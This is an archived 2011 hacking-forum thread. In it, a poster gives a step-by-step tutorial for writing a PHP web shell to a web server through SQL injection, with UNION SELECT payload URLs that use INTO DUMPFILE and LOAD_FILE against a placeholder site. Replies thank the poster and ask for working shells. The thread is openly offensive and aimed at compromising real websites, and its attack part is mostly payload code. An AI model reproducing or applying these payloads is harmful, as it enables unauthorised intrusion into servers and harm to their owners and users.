+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: Uploading Shell Trought SQLInj (/Thread-Uploading-Shell-Trought-SQLInj)
Uploading Shell Trought SQLInj - numan_malik999 - 08-03-2011
Uploading Shell Trought SQLInj
Okey guys we all know that SQLinj is the most popular vuln. in the world so most of you are using tools to gain access so for those who use tools plz go learn Manuel Injection than try think.
Okey as we are doing the injection we cant gain access to the admin panel or get the admin panel details but can upload shell...Letz say its a pian in the ass.
So here is a small trick i have learned over the years.
we have some site:
Code:
http://somesite.com
and here is a vuln link on mysql:
Code:
http://somesite.com/vuln.php?id=[SQLINJ]
and now we do our magic:
Code:
http://somesite.com/vuln.php?id=1337 union all select 1,2,3,4,5,6,7,8/*
we get the vuln column and what we do is next:
Code:
http://somesite.com/vuln.php?id=1337 union all select 1,2,3,4,5,0xshellcodeinhexhere,7,8 into dumpfile '/var/tmp/shell.php'/*
I always prefer to go with /var/tmp cuz have chmod 777[If you dont know what is this google it] and to desplay our shell we do this magic:
Code:
http://somesite.com/vuln.php?id=1337 union all select 1,2,3,4,5,Load_File('/var/tmp/shell.php'),7,8/*
And there you go you can now do your think with your shell.
For Shell code i prefer a small shell not like c99 or r57 or gny
Cheers...
RE: Uploading Shell Trought SQLInj - th3.g4m3_0v3r - 08-03-2011
Lol I Thought uploadingandsell.com vulenerable To sqli:rofl:
RE: Uploading Shell Trought SQLInj - sec0verun - 08-03-2011
thats interestingi was like wtf how you gonna view that but loadfile i get it thats how u boys do it huh lol its that fucking easy lol
and by the way can anyone show me how to write a php shell myself
RE: Uploading Shell Trought SQLInj - crim3r - 11-18-2011
hi
thanks for the good method , but i couldnt find a small shell when im trying to user c99 shell i see error"url too long"
can u give me a shell that works with this method?
RE: Uploading Shell Trought SQLInj - 4don4i - 11-19-2011
thanks for the good method , I have a lot off shell's ,so i will make a try.